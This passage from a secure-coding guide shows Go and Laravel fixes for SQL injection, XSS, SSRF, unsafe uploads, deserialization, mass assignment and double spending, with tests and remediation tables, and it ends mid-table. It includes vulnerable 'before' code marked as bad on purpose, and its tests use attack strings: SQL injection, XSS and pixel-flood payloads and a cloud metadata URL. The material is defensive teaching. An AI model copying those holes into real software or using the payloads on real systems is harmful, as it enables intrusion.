func TestAfterIsAtomicAndIdempotent(t *testing.T) {
	w := NewAfter(100)
	var wg sync.WaitGroup
	var mu sync.Mutex
	ok := 0
	for i := 0; i < 50; i++ {
		wg.Add(1)
		go func(i int) {
			defer wg.Done()
			if w.Withdraw(fmt.Sprintf("req-%d", i), 10) == nil {
				mu.Lock()
				ok++
				mu.Unlock()
			}
		}(i)
	}
	wg.Wait()
	if ok != 10 || w.Balance() != 0 {
		t.Fatalf("want 10 successes and balance 0, got %d and %d", ok, w.Balance())
	}
	w2 := NewAfter(100)
	_ = w2.Withdraw("same-key", 60)
	_ = w2.Withdraw("same-key", 60) // client retry after a timeout
	if w2.Balance() != 40 {
		t.Fatalf("retry debited twice: %d", w2.Balance())
	}
}

File upload validation (sniffing, pixel budget, random name, os.Root):

go
// Package upload validates an image upload: size cap, content sniffing (not
// the client's Content-Type or extension), a pixel budget against image bombs,
// a server-generated name, and storage outside the web root.
package upload

import (
	"bytes"
	"crypto/rand"
	"encoding/hex"
	"errors"
	"image"
	_ "image/jpeg" // register decoders for DecodeConfig
	_ "image/png"
	"io"
	"net/http"
	"os"
)

// Errors returned by Validate.
var (
	ErrTooLarge   = errors.New("upload: file too large")
	ErrType       = errors.New("upload: type not allowed")
	ErrImageBomb  = errors.New("upload: image dimensions over budget")
	ErrUnreadable = errors.New("upload: not a decodable image")
)

// allowed maps the sniffed type to the extension we store. SVG is absent on
// purpose: it is XML that can carry script.
var allowed = map[string]string{"image/png": ".png", "image/jpeg": ".jpg"}

// Limits for one upload.
type Limits struct {
	MaxBytes  int64 // e.g. 5 MiB
	MaxPixels int   // e.g. 25 megapixels
}

// Validate reads at most MaxBytes+1, sniffs the first 512 bytes, then reads
// only the image header (DecodeConfig) to check the declared width x height
// before anything decodes the full bitmap.
func Validate(r io.Reader, l Limits) (data []byte, ext string, err error) {
	data, err = io.ReadAll(io.LimitReader(r, l.MaxBytes+1))
	if err != nil {
		return nil, "", err
	}
	if int64(len(data)) > l.MaxBytes {
		return nil, "", ErrTooLarge
	}
	ext, ok := allowed[http.DetectContentType(data)]
	if !ok {
		return nil, "", ErrType
	}
	cfg, _, err := image.DecodeConfig(bytes.NewReader(data))
	if err != nil {
		return nil, "", ErrUnreadable
	}
	if cfg.Width <= 0 || cfg.Height <= 0 || cfg.Width > l.MaxPixels/cfg.Height {
		return nil, "", ErrImageBomb
	}
	return data, ext, nil
}

// Handler accepts multipart field "avatar" and writes it into root (a
// directory the web server does not serve) under a random name.
func Handler(root *os.Root, l Limits) http.HandlerFunc {
	return func(w http.ResponseWriter, r *http.Request) {
		r.Body = http.MaxBytesReader(w, r.Body, l.MaxBytes+64<<10)
		f, _, err := r.FormFile("avatar") // the client filename is ignored
		if err != nil {
			http.Error(w, "missing file", http.StatusBadRequest)
			return
		}
		defer f.Close()
		data, ext, err := Validate(f, l)
		if err != nil {
			http.Error(w, err.Error(), http.StatusUnprocessableEntity)
			return
		}
		b := make([]byte, 16)
		_, _ = rand.Read(b)
		name := hex.EncodeToString(b) + ext
		out, err := root.OpenFile(name, os.O_CREATE|os.O_EXCL|os.O_WRONLY, 0o600)
		if err != nil {
			http.Error(w, "storage error", http.StatusInternalServerError)
			return
		}
		defer out.Close()
		if _, err := out.Write(data); err != nil {
			http.Error(w, "storage error", http.StatusInternalServerError)
			return
		}
		w.WriteHeader(http.StatusCreated)
		_, _ = io.WriteString(w, name)
	}
}
go
package upload

import (
	"bytes"
	"encoding/binary"
	"errors"
	"hash/crc32"
	"image"
	"image/png"
	"testing"
)

// pngHeader is a "pixel flood": a few dozen bytes whose IHDR claims w x h.
func pngHeader(w, h uint32) []byte {
	var b bytes.Buffer
	b.WriteString("\x89PNG\r\n\x1a\n")
	ihdr := make([]byte, 13)
	binary.BigEndian.PutUint32(ihdr[0:], w)
	binary.BigEndian.PutUint32(ihdr[4:], h)
	ihdr[8] = 8 // bit depth; colour type 0 (grey)
	_ = binary.Write(&b, binary.BigEndian, uint32(len(ihdr)))
	chunk := append([]byte("IHDR"), ihdr...)
	b.Write(chunk)
	_ = binary.Write(&b, binary.BigEndian, crc32.ChecksumIEEE(chunk))
	return b.Bytes()
}

func TestValidate(t *testing.T) {
	var real bytes.Buffer
	_ = png.Encode(&real, image.NewGray(image.Rect(0, 0, 2, 2)))
	l := Limits{MaxBytes: 1 << 20, MaxPixels: 25_000_000}

	if _, ext, err := Validate(bytes.NewReader(real.Bytes()), l); err != nil || ext != ".png" {
		t.Fatalf("real PNG rejected: %v", err)
	}
	cases := map[string]struct {
		data []byte
		want error
	}{
		"html named avatar.png": {[]byte("<html><script>alert(1)</script>"), ErrType},
		"svg":                   {[]byte(`<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>`), ErrType},
		"pixel flood 50k x 50k": {pngHeader(50000, 50000), ErrImageBomb},
		"too large":             {bytes.Repeat([]byte{0}, 2<<20), ErrTooLarge},
	}
	for name, c := range cases {
		if _, _, err := Validate(bytes.NewReader(c.data), l); !errors.Is(err, c.want) {
			t.Errorf("%s: got %v want %v", name, err, c.want)
		}
	}
}

Signed JSON instead of native deserialization:

go
// Package signed replaces native object deserialization (PHP unserialize,
// Java ObjectInputStream, Go gob from strangers) with data-only JSON whose
// integrity is checked before it is parsed: "v1.<payload>.<hmac>".
package signed

import (
	"bytes"
	"crypto/hmac"
	"crypto/sha256"
	"encoding/base64"
	"encoding/json"
	"errors"
	"strings"
)

// ErrInvalid covers bad format, unknown key id, bad MAC and bad JSON alike,
// so the caller cannot tell which check failed.
var ErrInvalid = errors.New("signed: invalid token")

var b64 = base64.RawURLEncoding

func mac(key []byte, kid, payload string) []byte {
	m := hmac.New(sha256.New, key)
	m.Write([]byte(kid + "." + payload))
	return m.Sum(nil)
}

// Sign encodes v as JSON and appends an HMAC-SHA256 over kid and payload.
func Sign(kid string, key []byte, v any) (string, error) {
	js, err := json.Marshal(v)
	if err != nil {
		return "", err
	}
	p := b64.EncodeToString(js)
	return kid + "." + p + "." + b64.EncodeToString(mac(key, kid, p)), nil
}

// Verify checks the MAC with the key named by kid (rotation: keep old kids
// until their tokens expire), then decodes strictly into dst.
func Verify(keys map[string][]byte, token string, dst any) error {
	parts := strings.Split(token, ".")
	if len(parts) != 3 {
		return ErrInvalid
	}
	key, ok := keys[parts[0]]
	if !ok {
		return ErrInvalid
	}
	sig, err := b64.DecodeString(parts[2])
	if err != nil || !hmac.Equal(sig, mac(key, parts[0], parts[1])) {
		return ErrInvalid
	}
	js, err := b64.DecodeString(parts[1])
	if err != nil {
		return ErrInvalid
	}
	dec := json.NewDecoder(bytes.NewReader(js))
	dec.DisallowUnknownFields()
	if err := dec.Decode(dst); err != nil {
		return ErrInvalid
	}
	return nil
}

Structured, redacted security logging:

go
// Package logsafe covers A09: log the security events, keep the log
// parseable when input contains CR/LF (log injection), and never write
// secrets or raw tokens.
package logsafe

import (
	"io"
	"log"
	"log/slog"
	"strings"
)

// LoginFailedBefore interpolates user input into a text line. A username of
// "x\n2026/01/01 login ok user=admin" forges a second, fake log entry.
func LoginFailedBefore(l *log.Logger, user, password string) {
	l.Printf("login failed user=%s password=%s", user, password)
}

var secretKeys = map[string]bool{
	"password": true, "token": true, "authorization": true, "cookie": true, "secret": true,
}

// New returns a JSON logger: values are escaped by the encoder, so a newline
// stays inside its string, and secret-looking keys are redacted.
func New(w io.Writer) *slog.Logger {
	return slog.New(slog.NewJSONHandler(w, &slog.HandlerOptions{
		Level: slog.LevelInfo,
		ReplaceAttr: func(_ []string, a slog.Attr) slog.Attr {
			if secretKeys[strings.ToLower(a.Key)] {
				return slog.String(a.Key, "[REDACTED]")
			}
			return a
		},
	}))
}

// LoginFailed records the event with stable fields an alert rule can count:
// event name, user, client IP, reason. Never the password.
func LoginFailed(l *slog.Logger, user, ip, reason string) {
	l.Warn("auth.login_failed", "user", user, "ip", ip, "reason", reason)
}

The Go angle ​

  • database/sql never interpolates: arguments to QueryContext/ExecContext go to the driver separately (pgx uses the extended protocol with $1; go-sql-driver/mysql uses server-side prepares unless interpolateParams=true, where the driver escapes client-side). Identifiers still need an allowlist; pgx.Identifier{...}.Sanitize() exists for schema tooling, not for user input.
  • html/template is contextual: the package docs say its model "assumes that template authors are trusted, while Execute's data parameter is not". The types template.HTML, template.JS, template.URL, template.CSS disable escaping; gosec G203 flags their use. Use bluemonday if you must render user HTML.
  • os.Root (1.24) is the stdlib answer to path traversal, including symlinks; filepath.IsLocal (1.20) is a quick lexical check. gosec G304 flags file paths from input; G305 flags zip slip.
  • SSRF: net.Dialer.Control (or ControlContext) sees the IP being dialled after DNS resolution, which is the only place a rebinding check is reliable. Set Transport.Proxy to nil, otherwise the environment's HTTPS_PROXY makes you check the proxy's address. gosec G107 flags variable URLs; G704 is a taint-based SSRF rule.
  • net/http rejects header values containing CR/LF and http.Redirect cleans paths, which closes response splitting at the framework level.
  • CSRF: Go 1.25 added http.CrossOriginProtection, which "implements protections against Cross-Site Request Forgery (CSRF) by rejecting non-safe cross-origin browser requests" using Sec-Fetch-Site or Origin; this module stays on 1.24 and shows the mechanism, plus a token fallback.
  • Deserialization: encoding/json and protobuf only produce data; encoding/gob is "not designed to be hardened against adversarial inputs"; cap input sizes with io.LimitReader or MaxBytesReader for every decoder.
  • Tooling: govulncheck ./... (reachability-aware), gosec (rules G1xx general, G2xx injection, G3xx file paths, G4xx crypto/TLS, G5xx blocklisted imports), staticcheck, semgrep's Go rules, and go test -race for the race-condition class.

Laravel ​

Example: bindings, Blade, Fillable, uploads, SSRF guard, CSP, CSRF wiring ​

The vulnerable controller (bad design on purpose):

php
<?php

namespace App\Http\Controllers\Before;

use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;

// Bad design on purpose: every value below is spliced into SQL text.
class SearchController
{
    public function index(Request $request)
    {
        $term = $request->input('q', '');
        $sort = $request->input('sort', 'created_at');

        // 1. Interpolation into a raw query: q=' OR '1'='1 returns everything.
        $posts = DB::select("SELECT id, title FROM posts WHERE title LIKE '%{$term}%'");

        // 2. Raw ORDER BY from input: sort=(SELECT password FROM users LIMIT 1)
        //    becomes a boolean/time-based oracle. PDO cannot bind identifiers.
        $sorted = DB::table('posts')->orderByRaw($sort)->get();

        // 3. Column name from input: the query builder binds values, not columns.
        $filtered = DB::table('posts')->where($request->input('field', 'title'), $term)->get();

        return response()->json(compact('posts', 'sorted', 'filtered'));
    }
}

Bindings, whereLike and an allowlisted sort:

php
<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use Illuminate\Validation\Rule;

class PostSearchController
{
    /** Public sort key => application-owned column and direction. */
    private const SORTS = [
        'newest' => ['created_at', 'desc'],
        'oldest' => ['created_at', 'asc'],
        'title' => ['title', 'asc'],
    ];

    public function index(Request $request)
    {
        $data = $request->validate([
            'q' => ['nullable', 'string', 'max:100'],
            'sort' => ['nullable', Rule::in(array_keys(self::SORTS))],
            'per_page' => ['nullable', 'integer', 'between:1,100'],
        ]);

        [$column, $direction] = self::SORTS[$data['sort'] ?? 'newest'];

        return DB::table('posts')
            ->select(['id', 'title', 'created_at'])
            // whereLike binds the pattern; % and _ typed by the user would still
            // act as wildcards, so escape them (backslash is the default LIKE
            // escape in MySQL and PostgreSQL; SQLite needs an ESCAPE clause).
            ->whereLike('title', '%'.addcslashes($data['q'] ?? '', '%_\\').'%')
            ->orderBy($column, $direction)
            ->paginate($data['per_page'] ?? 20);
    }

    public function raw(Request $request)
    {
        // When raw SQL is unavoidable, keep values in the bindings array.
        return DB::select(
            'SELECT id, title FROM posts WHERE author_id = ? AND created_at > ?',
            [$request->user()->id, now()->subDays(30)]
        );
    }
}

Blade escaping, a URL check, Js::from and the raw echo for sanitised HTML only:

php
{{-- Escaped: Blade passes {{ }} through htmlspecialchars. Use for all user data. --}}
<h1>{{ $user->name }}</h1>
<p title="{{ $user->bio }}">{{ $user->bio }}</p>

{{-- A URL needs more than HTML escaping: javascript:alert(1) survives htmlspecialchars. --}}
@if (str_starts_with($user->website ?? '', 'https://'))
    <a href="{{ $user->website }}" rel="nofollow noopener">website</a>
@endif

{{-- Data for JavaScript: Js::from emits JSON-encoded, HTML-safe output. --}}
<script nonce="{{ \Illuminate\Support\Facades\Vite::cspNonce() }}">
    const profile = {{ \Illuminate\Support\Js::from(['name' => $user->name]) }};
</script>

{{-- Unescaped: only for HTML you produced or sanitised server-side. --}}
<div class="about">{!! $aboutHtmlSanitised !!}</div>

{{-- Vulnerable: raw user input (stored XSS). Never do this. --}}
{{-- <div>{!! $user->bio !!}</div> --}}

Mass assignment: the Laravel 13 Fillable attribute and validated input:

php
<?php

namespace App\Models;

use Illuminate\Database\Eloquent\Attributes\Fillable;
use Illuminate\Foundation\Auth\User as Authenticatable;

// Laravel 13 declares the mass-assignment allowlist with an attribute.
// Older code uses `protected $fillable = [...]` or `protected $guarded = [...]`.
// is_admin, role, email_verified_at and balance are deliberately absent:
// only server code may set them, with explicit assignments.
#[Fillable(['name', 'email', 'bio', 'website'])]
class User extends Authenticatable
{
}
php
<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;

class ProfileController
{
    public function updateBefore(Request $request)
    {
        // Vulnerable if the model is unguarded or lists 'role' as fillable:
        // PATCH {"name":"Ana","role":"admin"} promotes the caller.
        $request->user()->update($request->all());

        return response()->noContent();
    }

    public function update(Request $request)
    {
        $request->validate([
            'name' => ['sometimes', 'string', 'max:100'],
            'bio' => ['sometimes', 'nullable', 'string', 'max:1000'],
            'website' => ['sometimes', 'nullable', 'url:https', 'max:255'],
        ]);

        // Second allowlist at the call site: only validated, named keys.
        $request->user()->update($request->safe()->only(['name', 'bio', 'website']));

        return response()->noContent();
    }
}

Uploads: content-based validation, pixel limits, hashName() and a private disk:

php
<?php

namespace App\Http\Requests;

use Illuminate\Foundation\Http\FormRequest;
use Illuminate\Validation\Rule;
use Illuminate\Validation\Rules\File;

class UploadAvatarRequest extends FormRequest
{
    public function authorize(): bool
    {
        return $this->user() !== null;
    }

    public function rules(): array
    {
        return [
            'avatar' => [
                'required',
                // File::image() guesses the MIME type from the content, not the
                // client header, and rejects SVG unless allowSvg: true is passed.
                File::image()
                    ->max('5mb')
                    ->dimensions(Rule::dimensions()->maxWidth(4000)->maxHeight(4000)),
            ],
        ];
    }
}
php
<?php

namespace App\Http\Controllers;

use App\Http\Requests\UploadAvatarRequest;
use Illuminate\Support\Facades\Storage;

class AvatarController
{
    public function store(UploadAvatarRequest $request)
    {
        // store() names the file with hashName(): random name plus an extension
        // derived from the content. The private s3 disk is outside any web root.
        $path = $request->file('avatar')->store('avatars/'.$request->user()->id, 's3');

        $request->user()->forceFill(['avatar_path' => $path])->save();

        return response()->json([
            // Short-lived signed URL instead of a public bucket.
            'url' => Storage::disk('s3')->temporaryUrl($path, now()->addMinutes(5)),
        ], 201);
    }
}

SSRF guard around the Http client:

php
<?php

namespace App\Services;

use Illuminate\Http\Client\Response;
use Illuminate\Support\Facades\Http;
use InvalidArgumentException;

// SSRF guard for "fetch this URL" features (link previews, webhooks, imports).
class SafeHttpClient
{
    /** @param  list<string>  $allowedHosts  empty = any public host */
    public function __construct(private array $allowedHosts = []) {}

    public function get(string $url): Response
    {
        $parts = parse_url($url);
        $host = strtolower(rtrim($parts['host'] ?? '', '.'));

        if (($parts['scheme'] ?? '') !== 'https' || $host === '' || isset($parts['user']) || isset($parts['pass'])) {
            throw new InvalidArgumentException('URL not allowed');
        }
        if ($this->allowedHosts !== [] && ! in_array($host, $this->allowedHosts, true)) {
            throw new InvalidArgumentException('Host not allowed');
        }
        $port = $parts['port'] ?? 443;
        if ($port !== 443) {
            throw new InvalidArgumentException('Port not allowed');
        }

        $ip = $this->resolvePublicIp($host);

        // Pin the connection to the address we validated (no second DNS lookup,
        // so DNS rebinding cannot swap in 127.0.0.1), refuse redirects, cap time.
        return Http::withOptions([
            'allow_redirects' => false,
            'proxy' => '',
            'curl' => [CURLOPT_RESOLVE => ["{$host}:{$port}:{$ip}"]],
        ])->connectTimeout(3)->timeout(10)->get($url);
    }

    private function resolvePublicIp(string $host): string
    {
        $records = dns_get_record($host, DNS_A | DNS_AAAA) ?: [];
        $ips = array_values(array_filter(array_map(
            fn (array $r) => $r['ip'] ?? $r['ipv6'] ?? null,
            $records
        )));

        if ($ips === []) {
            throw new InvalidArgumentException('Host does not resolve');
        }
        foreach ($ips as $ip) {
            // Every answer must be public: a mixed answer is a rebinding trick.
            // NO_PRIV covers 10/8, 172.16/12, 192.168/16 (and fc00::/7);
            // NO_RES covers 0/8, 127/8, 169.254/16 (metadata), 240/4,
            // ::1, ::ffff:0:0/96 (IPv4-mapped) and fe80::/10.
            $public = filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE);
            if ($public === false || $this->inCidr($ip, '100.64.0.0', 10) || str_starts_with(strtolower($ip), '64:ff9b:')) {
                throw new InvalidArgumentException('Destination not allowed');
            }
        }

        return $ips[0];
    }

    /** Carrier-grade NAT (100.64.0.0/10) is neither "private" nor "reserved" to filter_var. */
    private function inCidr(string $ip, string $net, int $bits): bool
    {
        $long = ip2long($ip);

        return $long !== false && ($long >> (32 - $bits)) === (ip2long($net) >> (32 - $bits));
    }
}

Security headers and a CSP nonce through Vite:

php
<?php

namespace App\Http\Middleware;

use Closure;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Vite;
use Symfony\Component\HttpFoundation\Response;

class SecurityHeaders
{
    public function handle(Request $request, Closure $next): Response
    {
        // Vite adds nonce="..." to every script and style tag it generates.
        Vite::useCspNonce();

        $response = $next($request);

        $response->headers->add([
            'Content-Security-Policy' => implode('; ', [
                "script-src 'nonce-".Vite::cspNonce()."' 'strict-dynamic'",
                "object-src 'none'",
                "base-uri 'none'",
                "frame-ancestors 'none'",
                "form-action 'self'",
            ]),
            'Strict-Transport-Security' => 'max-age=63072000; includeSubDomains; preload',
            'X-Content-Type-Options' => 'nosniff',
            'Referrer-Policy' => 'strict-origin-when-cross-origin',
            'Permissions-Policy' => 'camera=(), microphone=(), geolocation=(), payment=()',
            'X-Frame-Options' => 'DENY',
        ]);
        $response->headers->remove('X-Powered-By');

        return $response;
    }
}

bootstrap/app.php: middleware registration and the CSRF exclusion:

php
<?php

use App\Http\Middleware\SecurityHeaders;
use Illuminate\Foundation\Application;
use Illuminate\Foundation\Configuration\Exceptions;
use Illuminate\Foundation\Configuration\Middleware;

return Application::configure(basePath: dirname(__DIR__))
    ->withRouting(
        web: __DIR__.'/../routes/web.php',
        api: __DIR__.'/../routes/api.php',
        health: '/up',
    )
    ->withMiddleware(function (Middleware $middleware): void {
        $middleware->web(append: [SecurityHeaders::class]);

        // PreventRequestForgery is already in the web group. Exclude only
        // endpoints that authenticate another way (a signed webhook).
        $middleware->preventRequestForgery(except: [
            'webhooks/payments',
        ]);
    })
    ->withExceptions(function (Exceptions $exceptions): void {
        // With APP_DEBUG=false (production) users get a generic error page;
        // details go to the log, not the response.
    })
    ->create();

Double spend: check-then-act versus a conditional decrement plus a unique idempotency key:

php
<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;

class TransferController
{
    public function withdrawBefore(Request $request)
    {
        $amount = (int) $request->input('amount');
        $account = DB::table('accounts')->where('user_id', $request->user()->id)->first();

        // Time of check ... two parallel requests both see the old balance.
        if ($account->balance < $amount) {
            abort(422, 'Insufficient funds');
        }

        // ... time of use: both writes succeed, money is spent twice.
        DB::table('accounts')->where('id', $account->id)->update(['balance' => $account->balance - $amount]);

        return response()->noContent();
    }

    public function withdraw(Request $request)
    {
        $data = $request->validate([
            'amount' => ['required', 'integer', 'min:1'],
            'idempotency_key' => ['required', 'uuid'],
        ]);

        return DB::transaction(function () use ($request, $data) {
            // A unique index on (user_id, idempotency_key) turns a retried
            // request into a duplicate-key error instead of a second debit.
            DB::table('withdrawals')->insert([
                'user_id' => $request->user()->id,
                'idempotency_key' => $data['idempotency_key'],
                'amount' => $data['amount'],
                'created_at' => now(),
            ]);

            // The check is part of the write: one atomic conditional UPDATE.
            $affected = DB::table('accounts')
                ->where('user_id', $request->user()->id)
                ->where('balance', '>=', $data['amount'])
                ->decrement('balance', $data['amount']);

            if ($affected === 0) {
                abort(422, 'Insufficient funds'); // rolls back the insert too
            }

            return response()->noContent();
        });
    }
}

unserialize versus signed JSON; and an open-redirect guard:

php
<?php

namespace App\Support;

use InvalidArgumentException;

// Data that leaves the server and comes back (cookies, hidden fields, queue
// payloads from another system) is JSON plus an HMAC, never PHP serialize().
final class SignedPayload
{
    public static function decodeBefore(string $cookie): mixed
    {
        // Object injection: a crafted string instantiates any autoloadable
        // class and runs its __wakeup/__destruct (a gadget chain, e.g. from
        // phpggc). allowed_classes does not make untrusted input safe.
        return unserialize(base64_decode($cookie));
    }

    public static function encode(array $data, string $key): string
    {
        $json = json_encode($data, JSON_THROW_ON_ERROR);
        $payload = rtrim(strtr(base64_encode($json), '+/', '-_'), '=');

        return $payload.'.'.hash_hmac('sha256', $payload, $key);
    }

    public static function decode(string $token, string $key): array
    {
        [$payload, $mac] = array_pad(explode('.', $token, 2), 2, '');

        // Verify first, in constant time; only then parse, and only as data.
        if (! hash_equals(hash_hmac('sha256', $payload, $key), $mac)) {
            throw new InvalidArgumentException('Invalid signature');
        }
        $data = json_decode(base64_decode(strtr($payload, '-_', '+/')), true, 32, JSON_THROW_ON_ERROR);

        return is_array($data) ? $data : throw new InvalidArgumentException('Invalid payload');
    }
}
php
<?php

namespace App\Support;

// Open-redirect guard for ?next= / ?return_to= parameters.
final class SafeRedirect
{
    public static function target(?string $next, string $fallback = '/dashboard'): string
    {
        if ($next === null || $next === ''
            || ! str_starts_with($next, '/')
            || str_starts_with($next, '//')
            || strpbrk($next, "\\\r\n\t") !== false
            || parse_url($next, PHP_URL_HOST) !== null) {
            return $fallback;
        }

        return $next;
    }
}

Feature tests:

php
<?php

namespace Tests\Feature;

use App\Models\User;
use App\Services\SafeHttpClient;
use App\Support\SafeRedirect;
use App\Support\SignedPayload;
use Illuminate\Foundation\Http\Middleware\PreventRequestForgery;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Http\UploadedFile;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Storage;
use InvalidArgumentException;
use Tests\TestCase;

class OwaspTest extends TestCase
{
    use RefreshDatabase;

    public function test_search_sort_outside_allowlist_is_rejected(): void
    {
        $this->actingAs(User::factory()->create())
            ->getJson('/posts?sort=(SELECT+1)')
            ->assertStatus(422);
    }

    public function test_search_term_is_a_binding_not_sql(): void
    {
        DB::enableQueryLog();
        $this->actingAs(User::factory()->create())->getJson("/posts?q=' OR '1'='1")->assertOk();
        $last = collect(DB::getQueryLog())->first(fn ($q) => str_contains($q['query'], 'from "posts"'));
        $this->assertStringNotContainsString("'1'='1", $last['query']);
        $this->assertContains("%' OR '1'='1%", $last['bindings']);
    }

    public function test_role_is_not_mass_assignable(): void
    {
        $user = User::factory()->create(['role' => 'user']);
        $this->actingAs($user)->patchJson('/me', ['name' => 'Ana', 'role' => 'admin'])->assertNoContent();
        $this->assertSame('user', $user->fresh()->role);
    }

    public function test_request_forgery_middleware_guards_the_web_group(): void
    {
        // Laravel disables the CSRF middleware while running tests, so assert
        // the wiring here and check 419/403 with a browser or curl (see the lab).
        $web = app('router')->getMiddlewareGroups()['web'];
        $this->assertContains(PreventRequestForgery::class, $web);
    }

    public function test_security_headers_are_present(): void
    {
        $this->get('/')
            ->assertHeader('X-Content-Type-Options', 'nosniff')
            ->assertHeader('X-Frame-Options', 'DENY');
    }

    public function test_svg_and_html_uploads_are_rejected(): void
    {
        Storage::fake('s3');
        $this->actingAs(User::factory()->create())
            ->postJson('/avatar', ['avatar' => UploadedFile::fake()->createWithContent('a.png', '<svg onload="alert(1)"/>')])
            ->assertStatus(422);
    }

    public function test_ssrf_guard_refuses_metadata_and_http(): void
    {
        $client = new SafeHttpClient;
        foreach (['http://example.com/', 'https://169.254.169.254/latest/meta-data/', 'https://localhost/'] as $url) {
            try {
                $client->get($url);
                $this->fail("{$url} was fetched");
            } catch (InvalidArgumentException) {
                $this->addToAssertionCount(1);
            }
        }
    }

    public function test_signed_payload_rejects_tampering(): void
    {
        $token = SignedPayload::encode(['user_id' => 7], 'k');
        $this->assertSame(['user_id' => 7], SignedPayload::decode($token, 'k'));
        $this->expectException(InvalidArgumentException::class);
        SignedPayload::decode('eyJ1c2VyX2lkIjoxfQ.'.explode('.', $token)[1], 'k');
    }

    public function test_open_redirect_is_closed(): void
    {
        $this->assertSame('/orders/1', SafeRedirect::target('/orders/1'));
        $this->assertSame('/dashboard', SafeRedirect::target('//evil.example'));
        $this->assertSame('/dashboard', SafeRedirect::target('https://evil.example'));
    }
}

The Laravel angle ​

  • Query builder: "The Laravel query builder uses PDO parameter binding to protect your application against SQL injection attacks." The exceptions are spelled out in the docs: column names ("PDO does not support binding column names") and the raw family (DB::raw, selectRaw, whereRaw, orderByRaw, havingRaw), which accept a bindings array you must use.
  • Blade: the double-curly echo goes through htmlspecialchars; the raw echo with exclamation marks does not ("Be very careful when echoing content that is supplied by users of your application"). For JSON inside scripts use Js::from. URLs need a scheme check because HTML escaping leaves javascript: intact.
  • CSRF: PreventRequestForgery in the web group checks Sec-Fetch-Site, then the token; @csrf in forms; Axios sends X-XSRF-TOKEN from the XSRF-TOKEN cookie. The docs: "the CSRF middleware is automatically disabled for all routes when running tests", so test the wiring and verify 419 manually. Laravel 11 and 12 called the middleware VerifyCsrfToken/ValidateCsrfToken.
  • Mass assignment: #[Fillable([...])] or #[Guarded([...])] (older code: $fillable/$guarded properties), $request->validated(), $request->safe()->only([...]); Model::preventSilentlyDiscardingAttributes() in development.
  • Uploads: File::image() validates by content and refuses SVG unless allowSvg: true; dimensions limits pixels; store() uses hashName(); the filesystem docs warn against user-chosen names in storeAs. Keep uploads on a private disk and hand out temporaryUrls.
  • HTTP client: Laravel has no built-in SSRF guard; Http::withOptions() passes Guzzle options (allow_redirects, proxy, curl), and connectTimeout/timeout bound the call. Http::preventStrayRequests() in tests makes every unfaked request fail.
  • Configuration: APP_DEBUG=false in production ("this value should always be false"); keep .env outside the web root (only public/ is served); php artisan config:cache in deploys; encrypted .env files with php artisan env:encrypt for secrets in the repository.
  • Supply chain: composer audit in CI (also runs automatically after composer update and require), Dependabot or Renovate for Composer and npm, and vite-plugin-manifest-sri for SRI on built assets. Static analysis: Larastan/PHPStan for type errors, semgrep's PHP and Laravel rules for taint (raw queries, unserialize, exec).
  • Logging: Log::withContext(['request_id' => ...]), a JSON formatter via a channel tap, and never $request->all() in log context (passwords). The password and password_confirmation fields are already excluded from flashed input in validation errors.

Solving the classic problems ​

Pentest report: SQL injection in a sort parameter ​

SolutionHowAdvantageCost / limitation
Allowlist mapPublic key → fixed column and directionImpossible to inject; documents the APIOne line per new sort option
Parameterise everything else$1/? bindings, whereLikeFixes the whole classRequires touching every raw query
Least-privilege DB roleWeb role cannot read users.password_hash via a viewLimits blast radiusSchema work
WAF ruleBlock SELECT in query stringsBuys daysBypassable; never the fix

Find every concatenation: gosec -include=G201,G202 ./...; semgrep --config p/sql-injection; grep -rn "Raw(" app/.

Stored XSS in comments ​

SolutionHowAdvantageCost / limitation
Escape on outputBlade double-curly echo, html/templateDefault, covers every new fieldRich text needs a sanitiser
Sanitise rich textHTML Purifier / bluemonday on save and renderAllows formattingLibrary must be kept current
Strict CSPNonce + strict-dynamicCatches what slips throughRefactor inline handlers
Clean up stored payloadsRe-render or re-sanitise existing rowsRemoves the time bombMigration job

SSRF in a webhook tester ​

SolutionHowAdvantageCost / limitation
Dialer IP checknet.Dialer.Control, pinned resolutionDefeats DNS rebindingMust also cover redirects and proxies
Separate egressFetcher service in a subnet with only internet egressDefence in depthOne more service
IMDSv2, no instance role on the fetcherHttpTokens=required, hop limit 1Removes the prizeOld SDKs need updating
Response handlingCap size, do not echo body to userLimits data exfiltrationLess helpful error messages

IDOR in an invoices API ​

Scope by ownership in the query so the database cannot return a foreign row; return 404 rather than 403 so ids cannot be confirmed:

sql
-- Every read and write carries the tenant and the owner
SELECT id, number, total FROM invoices WHERE id = $1 AND tenant_id = $2 AND customer_id = $3;

-- Defence in depth in PostgreSQL: row-level security keyed on a session setting
ALTER TABLE invoices ENABLE ROW LEVEL SECURITY;
CREATE POLICY tenant_isolation ON invoices
  USING (tenant_id = current_setting('app.tenant_id')::bigint);
-- the app runs SET LOCAL app.tenant_id = '42' at the start of each transaction
SolutionHowAdvantageCost / limitation
Owner-scoped queries$user->invoices()->findOrFail($id)Simple, fastEvery query must remember
PoliciesGate::authorize('view', $invoice)Central rules, testableMust be called on every action
RLSPostgreSQL policiesHolds even when code forgetsConnection-pool session hygiene
Opaque idsUUIDv4/ULID instead of sequencesLess enumerationNot authorization

Debug page leaked in production ​

StepAction
ContainSet APP_DEBUG=false, redeploy, php artisan config:cache
RotateAPP_KEY (with APP_PREVIOUS_KEYS for a grace period), database and API credentials shown on the page
InvestigateAccess logs for requests that produced 500s with debug output
PreventCI check on production env; Ignition/Whoops not installed in production (composer install --no-dev)

A dependency CVE lands on Friday ​

StepAction
Triagegovulncheck ./... shows whether the vulnerable symbol is reachable; composer audit --locked lists the package
PatchRenovate/Dependabot PR, tests, deploy
Mitigate if no patchWAF rule or feature flag to disable the path
RecordSBOM shows every service with that version

Coupon redeemed twice ​

sql
-- One redemption per coupon and user, enforced by the database
CREATE UNIQUE INDEX coupon_once ON redemptions (coupon_id, user_id);

-- Balance check inside the write; zero rows updated means insufficient funds
UPDATE accounts SET balance = balance - 100
 WHERE id = 7 AND balance >= 100
RETURNING balance;
SolutionHowAdvantageCost / limitation
